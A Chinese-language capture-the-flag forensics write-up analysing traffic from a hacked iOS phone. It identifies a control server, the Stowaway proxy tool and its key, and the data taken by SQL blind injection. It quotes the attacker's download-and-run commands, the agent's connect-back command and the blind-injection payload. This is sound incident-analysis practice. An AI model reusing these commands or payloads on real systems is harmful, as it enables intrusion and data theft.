![[陇剑杯 2021]ios](http://pic.xiahunao.cn/yaotu/[陇剑杯 2021]ios)
案情背景一位ios的安全研究员在家中使用手机联网被黑不仅被窃密还丢失比特币若干请你通过流量和日志分析后作答第一问黑客所控制的CC服务器IP是_____________。CC服务器是控制网络中的恶意软件或者僵尸网络的服务器通常由黑客或攻击者控制用于发送指令给已经感染的计算机或设备以执行各种恶意活动例如传播病毒、发起分布式拒绝服务DDos攻击、窃取个人信息等要确定CC服务器IP即是被感染设备用户ios手机主动通信的外部公网IP首先筛选http可以看见传输的明文内容用户IP通常为192.168.x.x网段然后找与之通信的非内网ip找到3.128.156.159发现./ios_agent -c 3.128.156.159:8081 -s hack4sec发现在对应的通信内容中包含恶意标示-s hack4sec在流量中还有其他的IP我简单分析了一下其他的IP101.206.202.230是b站的官方域名123.6.7.66 属于国内运营商的合法IP对应的是正规web服务221.204.188.242流量中显示GET /bfs/static/ios-download/...请求 CSS、JS、图片文件bfs是 B 站的静态资源存储服务类似 CDN用于分发应用下载所需的前端资源219.155.151.181同样是 B 站的服务器负责接收用户的行为日志所以黑客所控制的CC服务器IP是3.128.156.159第二问黑客利用的Github开源项目的名字是______。在和CC服务器IP通信的流量包可以看见请求的具体命令wget https://github.com/ph4nt0m/Stowaway/releases/download/1.6.2/ios_agent chmod 755 ios_agent通过查找资料知道这条命令是从Github下载指定项目的文件github.com/[项目作者]/[项目名]/... 是 Github 仓库的标准格式所以黑客利用的Github开源项目的名字是Stowaway第三问通讯加密密钥的明文是____________。回到第一题发现的./ios_agent -c 3.128.156.159:8081 -s hack4sec./ios_agent 执行当前目录下 Stowaway项目的IOS端可执行程序可能是恶意代理-c 是connect缩写表示连接黑客CC服务器IP-s 是secret缩写表示密钥所有后面的hack4sec表示预共享密钥所以通讯加密密钥的明文是hack4sec第四问黑客通过SQL盲注拿到了一个敏感数据内容是____________。SQL盲注是SQL注入的一种特殊形式页面不直接返回数据库查询结果黑客通过构造SQL语句观察页面的响应差异是否正常显示、响应时间来盲猜数据库中的敏感信息SQL盲注是通过HTTPS/HTTP2传输的默认用TLS加密所以原始流量包显示的是加密后的二进制数据通过TLS解密后才能把加密的流量还原成明文的HTTP请求/响应看见黑客完整的SQL盲注语句和窃取的敏感数据也可以直观在没有解密前看见流量包的协议有很多显示TLSv1.2/TLSv1.3” 的条目点击编辑-首选项在protocols中找到TLS协议选择keylog.txt文件点击ok筛选目标设备192.168.1.8被黑的ios设备ip的流量黑客的SQL盲注操作是通过http和http2请求传输的所以在筛选所有的http和http2流然后再搜索select作为SQL查询的关键字可以快速定位到黑客盲注语句正常请求的SQL语句不会直接暴露在HTTP流量中黑客的恶意注入会将SELECT等关键字写在请求参数里可以很容易找到黑客的盲注语句如下GET /info?l1o%28case_when_%28select_hex%28substr%28password%2C1%2C1%29%29_from_user%29%3D%222B%22_then_id_else_col1_end%29, WINDOW_UPDATE[1]url解码一下得到GET /info?l1o(case_when_(select_hex(substr(password,1,1))_from_user)2B_then_id_else_col1_end), WINDOW_UPDATE[1]这是黑客构造的HTTP GET请求加上SQL布尔盲注黑客把恶意SQL语句嵌套在HTTP请求的o参数中简单分析一下这个恶意语句case when 条件 then a else b end SQL条件判断函数若条件为真返回A为假返回B在这里为条件真返回id字段的值为假返回col1字段的值SELECT ... FROM user 从名为user的数据库中查询数据user中通常储存用户账号、密码等敏感信息substr(password,2,1) substr是字符串截取函数第一个参数password表示要截取的字段第二个参数2表示从第2个字符开始截取第三个参数1表示只截取1个字符hex... 将截取到的字符转换为十六进制编码 “2B” 判断截取的字符的十六进制是否等于2B我们直接分析找到的大量盲注语句发现条件语句中首先尝试的判断第一位(password11)是否是2B而后一直尝试2D、7B、7D、30、31、32、33、34、35、36、37再看下一行password(2,1)表示截取第2个字符截取1个字符里面表示第一个字符已经被猜出来了就是37同时又从2B开始才在网上找到了一张更直观的图所以我们可以通过盲注得到37 34 36 35 35 38 66 33 2D 63 38 34 31 2D 34 35 36 62 2D 38 35 64 37 2D 64 36 63 30 66 32 65 64 61 62 62 32 5A 5A 5A 6A得到746558f3-c841-456b-85d7-d6c0f2edabb2ZZZj结尾连续3个Z考虑到盲注可能猜完password最后一个有效字符后继续尝试下一个字符位可能会返回空值或者默认字符同时删去ZZZj后符合UUID格式的有效字符串格式32个十六进制字符格式为8-4-4-4-12的分组结构应当截断黑客通过SQL盲注拿到了一个敏感数据内容是746558f3-c841-456b-85d7-d6c0f2edabb2